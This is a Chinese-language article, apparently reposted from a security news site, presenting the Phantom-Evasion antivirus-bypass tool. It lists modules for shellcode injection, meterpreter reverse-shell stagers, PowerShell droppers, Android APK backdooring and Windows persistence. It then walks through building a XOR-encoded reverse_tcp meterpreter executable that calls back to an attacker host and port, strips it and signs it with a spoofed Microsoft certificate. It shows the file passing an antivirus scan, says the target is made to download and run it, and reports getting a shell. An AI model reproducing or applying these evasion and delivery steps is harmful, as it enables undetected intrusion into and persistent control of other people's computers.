當前位置:
首頁 > 新聞 > Phantom-Evasion:反病毒軟體繞過測試工具

Phantom-Evasion:反病毒軟體繞過測試工具

描述


Phantom-Evasion是一個用python編寫的互動式防病毒逃避工具,即使使用最常見的32位msfvenom有效負載(64位有效負載的較低檢測率),也能生成(幾乎)FUD可執行文件。該工具的目的是通過使用專註於多態代碼和防病毒沙箱檢測技術的模塊,使得防病毒逃避成為測試者的一項簡單任務。從版本1.0開始,Phantom-Evasion還包括一個專門用於持久性和輔助模塊的後期開發部分。


安裝/使用

git clone https://github.com/oddcod3/Phantom-Evasioncd Phantom-Evasionsudo python phantom-evasion.py

也可以進行源碼安裝

sudo chmod +x ./phantom-evasion.pysudo ./phantom-evasion.py


WINDOWS PAYLOADS


Windows Shellcode注入模塊(C)支持Msfvenom Windows有效負載和自定義shellcode(>)隨機垃圾碼和Windows防病毒逃避技術(>)提供多位元組Xor編碼器(參見Multibyte Xor編碼器自述文件部分)(>)Decoy Processes Spawner可用(參見Decoy Process Spawner部分)(>)剝離可執行文件(https://en.wikipedia.org/wiki/Strip_(Unix))(>)執行時間範圍:35-60秒



Windows Shellcode Injection VirtualAlloc:使用VirtualAlloc,CreateThread,WaitForSingleObject API在內存中注入和執行shellcode。


Windows Shellcode Injection VirtualAlloc NoDirectCall LL / GPA:使用VirtualAlloc,CreateThread,WaitForSingleObject API在內存中注入和執行shellcode。使用LoadLibrary和GetProcAddress API對關鍵API進行動態載入(無直接調用)。


Windows Shellcode Injection VirtualAlloc NoDirectCall GPA / GMH:使用VirtualAlloc,CreateThread,WaitForSingleObject API在內存中注入和執行shellcode。使用GetModuleHandle和GetProcAddress API對關鍵API進行動態載入(無直接調用)。


Windows Shellcode Injection HeapAlloc:使用HeapAlloc,HeapCreate,CreateThread,WaitForSingleObject API在內存中注入和執行shellcode。 


Windows Shellcode Injection HeapAlloc NoDirectCall LL / GPA:使用HeapCreate,HeapAlloc,CreateThread,WaitForSingleObject API在內存中注入和執行shellcode。使用LoadLibrary和GetProcAddress API對關鍵API進行動態載入(無直接調用)。


Windows Shellcode Injection HeapAlloc NoDirectCall GPA / GMH:使用HeapCreate,HeapAlloc,CreateThread,WaitForSingleObject API在內存中注入和執行shellcode。使用GetModuleHandle和GetProcAddress API對關鍵API進行動態載入(無直接調用)。


Windows Shellcode Injection Process注入:使用VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,WaitForSingleObject API將shellcode注入和執行到遠程進程內存(默認:OneDrive.exe(x86),explorer.exe(x64))。

Windows Shellcode注入流程注入NoDirectCall LL / GPA:使用VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,WaitForSingleObject API將shellcode注入和執行到遠程進程內存(默認:OneDrive.exe(x86),explorer.exe(x64))。使用LoadLibrary和GetProcAddress API對關鍵API進行動態載入(無直接調用)。


Windows Shellcode注入流程注入NoDirectCall GPA / GMH:使用VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,WaitForSingleObject API將shellcode注入和執行到遠程進程內存(默認:OneDrive.exe(x86),explorer.exe(x64))。使用GetModuleHandle和GetProcAddress API對關鍵API進行動態載入(無直接調用)。


Windows Shellcode注入線程劫持:將shellcode注入遠程進程內存並執行它,使用VirtualAllocEx,WriteProcessMemory,Get / SetThreadContext,Suspend / ResumeThread API執行線程執行劫持(默認:OneDrive.exe(x86),explorer.exe(x64))。


Windows Shellcode注入線程劫持LL / GPA:將shellcode注入遠程進程內存並執行它,使用VirtualAllocEx,WriteProcessMemory,Get / SetThreadContext,Suspend /執行線程執行劫持(默認:OneDrive.exe(x86),explorer.exe(x64)) ResumeThread API。使用LoadLibrary和GetProcAddress API對關鍵API進行動態載入(無直接調用)。


Windows Shellcode注入線程劫持GPA / GMH:將shellcode注入遠程進程內存並執行它,使用VirtualAllocEx,WriteProcessMemory,Get / SetThreadContext,Suspend /執行線程執行劫持(默認:OneDrive.exe(x86),explorer.exe(x64)) ResumeThread API。使用GetModuleHandle和GetProcAddress API對關鍵API進行動態載入(無直接調用)。


Windows Pure C meterpreter stager


純C多態儀錶預測器與msfconsole和鈷觸發信標兼容。(reverse_tcp / reversehttp)(>)隨機垃圾代碼和Windows防病毒逃避技術(>)幻影逃避誘餌程序產生可用(參見幻影逃避誘餌程序產生部分)(>)剝離可執行程序可用(>)執行時間範圍:35-60秒



C meterpreter / reverse_TCP VirtualAlloc(x86 / x64):用c編寫的32/64位windows / meterpreter / reverse_tcp多態stager(需要多個/處理程序監聽器,有效負載設置為windows / meterpreter / reverse_tcp(如果是x86) - windows / x64 / meterpreter / reverse_tcp(如果是x64),內存:虛擬)


C meterpreter / reverse_TCP HeapAlloc(x86 / x64):用c編寫的32/64位windows / meterpreter / reverse_tcp多態stager(需要多個/處理程序監聽器,有效負載設置為windows / meterpreter / reverse_tcp(如果是x86) - windows / x64 / meterpreter / reverse_tcp(如果是x64),內存:堆)

C meterpreter / reverse_TCP VirtualAlloc NoDirectCall GPAGMH(x86 / x64):用c編寫的32/64位windows / meterpreter / reverse_tcp多態stager(rrequire multi / handler listener,有效負載設置為windows / meterpreter / reverse_tcp(如果是x86) - windows / x64 / meterpreter / reverse_tcp(如果是x64),內存:虛擬,在運行時載入的API)


C meterpreter / reverse_TCP HeapAlloc NoDirectCall GPAGMH(x86 / x64):用c編寫的32/64位windows / meterpreter / reverse_tcp多態stager(需要多個/處理程序監聽器,有效負載設置為windows / meterpreter / reverse_tcp(如果是x86) - windows / x64 / meterpreter / reverse_tcp(如果是x64),內存:堆,運行時載入的API)


C meterpreter / reverse_HTTP VirtualAlloc(x86 / x64):用c編寫的32/64位windows / meterpreter / reverse_http多態stager(需要多個/處理程序監聽器,有效負載設置為windows / meterpreter / reverse_http(如果是x86) - windows / x64 / meterpreter / reverse_http(如果是x64),內存:虛擬)


C meterpreter / reverse_HTTP HeapAlloc(x86 / x64):用c編寫的32/64位windows / meterpreter / reverse_http多態stager(需要多個/處理程序監聽器,有效負載設置為windows / meterpreter / reverse_http(如果是x86) - windows / x64 / meterpreter / reverse_http(如果是x64),內存:堆)


C meterpreter / reverse_HTTP VirtualAlloc NoDirectCall GPAGMH(x86 / x64):用c編寫的32/64位windows / meterpreter / reverse_http多態stager(需要多個/處理程序監聽器,有效負載設置為windows / meterpreter / reverse_http(如果是x86) - windows / x64 / meterpreter / reverse_http(如果是x64),在運行時載入的API)


C meterpreter / reverse_HTTP HeapAlloc NoDirectCall GPAGMH(x86 / x64):用c編寫的32/64位windows / meterpreter / reverse_http多態stager(需要多個/處理程序監聽器,有效負載設置為windows / meterpreter / reverse_http(如果是x86) - windows / x64 / meterpreter / reverse_http(如果是x64),內存:堆,運行時載入的API)


C meterpreter / reverse_HTTPS VirtualAlloc(x86 / x64):用c編寫的32/64位windows / meterpreter / reverse_http多態stager(需要多個/處理程序監聽器,有效負載設置為windows / meterpreter / reverse_https(如果是x86) - windows / x64 / meterpreter / reverse_https(如果是x64),內存:虛擬)


C meterpreter / reverse_HTTPS HeapAlloc(x86 / x64):用c編寫的32/64位windows / meterpreter / reverse_http多態stager(需要多個/處理程序監聽器,有效負載設置為windows / meterpreter / reverse_https(如果是x86) - windows / x64 / meterpreter / reverse_https(如果是x64),內存:堆)


C meterpreter / reverse_HTTPS VirtualAlloc NoDirectCall GPAGMH(x86 / x64):用c編寫的32/64位windows / meterpreter / reverse_http多態stager(需要多個/處理程序監聽器,有效負載設置為windows / meterpreter / reverse_https(如果是x86) - windows / x64 / meterpreter / reverse_https(如果是x64),在運行時載入的API)


C meterpreter / reverse_HTTPS HeapAlloc NoDirectCall GPAGMH(x86 / x64):用c編寫的32/64位windows / meterpreter / reverse_http多態stager(需要多個/處理程序監聽器,有效負載設置為windows / meterpreter / reverse_https(如果是x86) - windows / x64 / meterpreter / reverse_https(如果是x64),內存:堆,運行時載入的API)


Powershell / Wine-Pyinstaller模塊


Powershell模塊:(>)隨機垃圾代碼和Windows防病毒規避技術(>)誘騙程序Spawner可用(參見幻影逃避誘餌程序產生部分)(>)條帶可執行程序可用 (>)執行時間範圍:35-60秒



Windows Powershell / Cmd Oneliner Dropper:需要用戶提供的Powershell / Cmd oneliner有效負載(例如Empire oneliner有效負載)。生成用c編寫的Windows powershell / Cmd oneliner dropper。Powershell / Cmd oneliner有效負載使用system()函數執行。


Windows Powershell Script Dropper:支持msfvenom和自定義PowerShell有效負載。(32位powershell有效負載與64位PowerShell目標不兼容,反之亦然。)生成用c編寫的Windows powershell腳本(.ps1)dropper。Powershell腳本有效負載使用system()函數執行(powershell -executionpolicy bypass -WindowStyle Hidden -Noexit -File「PathTops1script」)。


Wine-Pyinstaller模塊:


(>)隨機垃圾代碼和Windows防病毒規避技術(>)執行時間範圍:5-25秒(>)要求在wine中安裝python和pyinstaller。



Windows WinePyinstaller Python Meterpreter


純python meterpreter有效載荷。

WinePyinstaller Oneline有效負載滴管


純python powershell / cmd oneliner滴管。


使用os.system()執行Powershell / cmd有效負載。


LINUX PAYLOADS


Linux Shellcode注入模塊(C)支持Msfvenom linux有效負載和自定義shellcode。(>)隨機化垃圾碼和C防病毒規避技術(>)多位元組Xor編碼器可用(參見Multibyte Xor編碼器自述文件部分)(>)可執行條帶可執行文件( >)執行時間範圍:20-45秒



Linux Shellcode Injection HeapAlloc:使用mmap和memcpy在內存中注入和執行shellcode。


Linux Bash Oneliner Dropper:使用system()函數執行自定義oneliner有效負載。


OSX PAYLOADS

OSX 32位多編碼:純msfvenom多編碼OSX有效負載。


ANDROID PAYLOADS


Android Msfvenom Apk smali / baksmali:(>)假循環注入(>)轉到循環


Android msfvenom有效負載修改了與apktool重建(也能夠apk後門注入)。


通用PAYLOADS


生成與用於運行Phantom-Evasion的操作系統兼容的可執行文件。

Universal Meterpreter increments-trick
Universal Polymorphic Meterpreter
Universal Polymorphic Oneliner dropper

POST-EXPLOITATION模塊


1.Windows持久性RegCreateKeyExW添加註冊表項(C)此模塊生成可執行文件,需要將其上載到目標計算機並執行指定文件的完整路徑以作為參數添加到啟動。


2.Windows Persistence REG添加註冊表項(CMD)此模塊生成持久性cmdline有效內容(通過REG.exe添加註冊表項)。


3.Windows持久性保持進程活動此模塊生成可執行文件,需要將其上載到目標計算機並執行。使用CreateToolSnapshoot ProcessFirst和ProcessNext檢查指定的進程是否每隔X秒活動一次。有用的結合Persistence N.1或N.2(持久性啟動Keep進程活動文件,然後啟動並保持指定的進程)

4.Windows Persistence Schtasks cmdline


此模塊生成持久性cmdline有效負載(使用Schtasks.exe)。


5.Windows設置文件屬性隱藏


通過命令行或已編譯的可執行文件隱藏文件(SetFileAttributes API)


如何利用?


進入Phantom-Evasion,如下選擇

[1]  Windows modules-->[1]  Shellcode Injection-->[4]  Windows Shellcode Injection HeapAlloc(C)-->[1] Msfvenom

我們輸入msfvenom有效載荷

windows/meterpreter/reverse_tcp

輸入LHOST和LPORT

LHOST:192.168.34.133
LPORT:4444

自定義msfvenom選項,我們不填直接回車


編碼方式,我們選擇[4] x86/xor_dynamic + Triple Multibyte-key xor (excellent)

輸入生成程序的名,是否添加多進程選擇『是』,輸入進程數『1』,

[<Payload>] choose how to supply shellcode:
[1] Msfvenom
[2] Custom shellcode
[0] Back
[>] Please insert option: 1
[>] Please enter msfvenom payload (example: windows/meterpreter/reverse_tcp):windows/meterpreter/reverse_tcp
[>] Please insert LHOST: 192.168.34.133
[>] Please insert LPORT: 4444
[>] Custom msfvenom options(default: blank):
[>] Encoding step:
[1] x86/xor_dynamic                                   (average)
[2] x86/xor_dynamic + Multibyte-key xor                  (good)
[3] x86/xor_dynamic + Double Multibyte-key xor      (excellent)
[4] x86/xor_dynamic + Triple Multibyte-key xor      (excellent)
[>] Please enter options number: 4
[>] Enter output filename: test
[>] Spawn Multiple Processes:
During target-side execution this will cause to spawn a maximum of 4 processes
consequentialy.
Only the last spawned process will reach the malicious section of code
while the other decoy processes spawned before will executes only random junk code
[>] Add multiple processes behaviour?(y/n): y
[>] Insert number of decoy processes (integer between 1-3): 1
[>] Generating code...
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/xor_dynamic
x86/xor_dynamic succeeded with size 387 (iteration=0)
x86/xor_dynamic chosen with final size 387
Payload size: 387 bytes
Final size of c file: 1650 bytes
[>] Triple-key Xor multibyte encoding...
[Building xor-key (lenght:35]: xa2x3bxa4x97x37x3bx30x43xbaxe3x70x6ax54xa9xbexa0x36x97xd9xccx81xc2x77x3dx78x5cxafxd2xa4x82x95x2bxdex2ax76
[>] Compiling...
[>] Strip
strip is a GNU utility to "strip" symbols from object files.
This is useful for minimizing their file size, streamlining them for distribution.
It can also be useful for making it more difficult to reverse-engineer the compiled code.
(Lower rate of detection)
[>] Strip executable? (y/n):y
[>] Stripping...
[>] Sign Executable
Online Certificate spoofer & Executabe signer (Lower rate of detection)
[>] Sign executable? (y/n):y
[>] Insert certificate spoofing target (default: www.microsoft.com:443):
|DNS-request| www.microsoft.com
|S-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<><>-OK
|DNS-response| www.microsoft.com is 2.22.93.15
|S-chain|-<>-127.0.0.1:1080-<><>-2.22.93.15:443-<><>-OK
[>] Insert sign software description (default: Notepad Benchmark Util):
[>] Signing test.exe with osslsigncode...
[>] Succeeded
[<>] File saved in Phantom-Evasion folder
[>] Press Enter to continue

生成代碼之後將會輸出到Phantom-Evasion目錄下


將生成的後門程序,放在apache下,迫使目標下載並執行


我們用360進行安全查殺

360木馬查殺掃描日誌
開始時間: 2018-12-22 00:13:46
掃描用時: 00:00:03
掃描類型: 自定義掃描
掃描引擎:360雲查殺引擎(本地木馬庫)  360啟發式引擎  QEX腳本查殺引擎
掃描文件數: 2
系統關鍵位置文件: 0
系統內存運行模塊: 0
壓縮包文件: 0
安全的文件數: 2
發現安全威脅: 0
已處理安全威脅: 0
掃描選項
掃描後自動關機: 否
掃描模式: 速度最快
管理員:是
掃描內容
\vmware-hostShared Folders桌面 est.exe
白名單設置
帶推廣標記的網址導航圖標
掃描結果
未發現安全威脅

我們拿到virustotal掃一下,23333



後門程序生效後,成功建立會話,拿到shel許可權



項目地址


https://github.com/oddcod3/Phantom-Evasion

*本文作者:不分手的戀愛,轉載請註明來自FreeBuf.COM


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

密碼朋克的社會實驗(一):開燈看暗網
全球網路安全行業崗位缺口已上升至300萬

TAG:FreeBuf |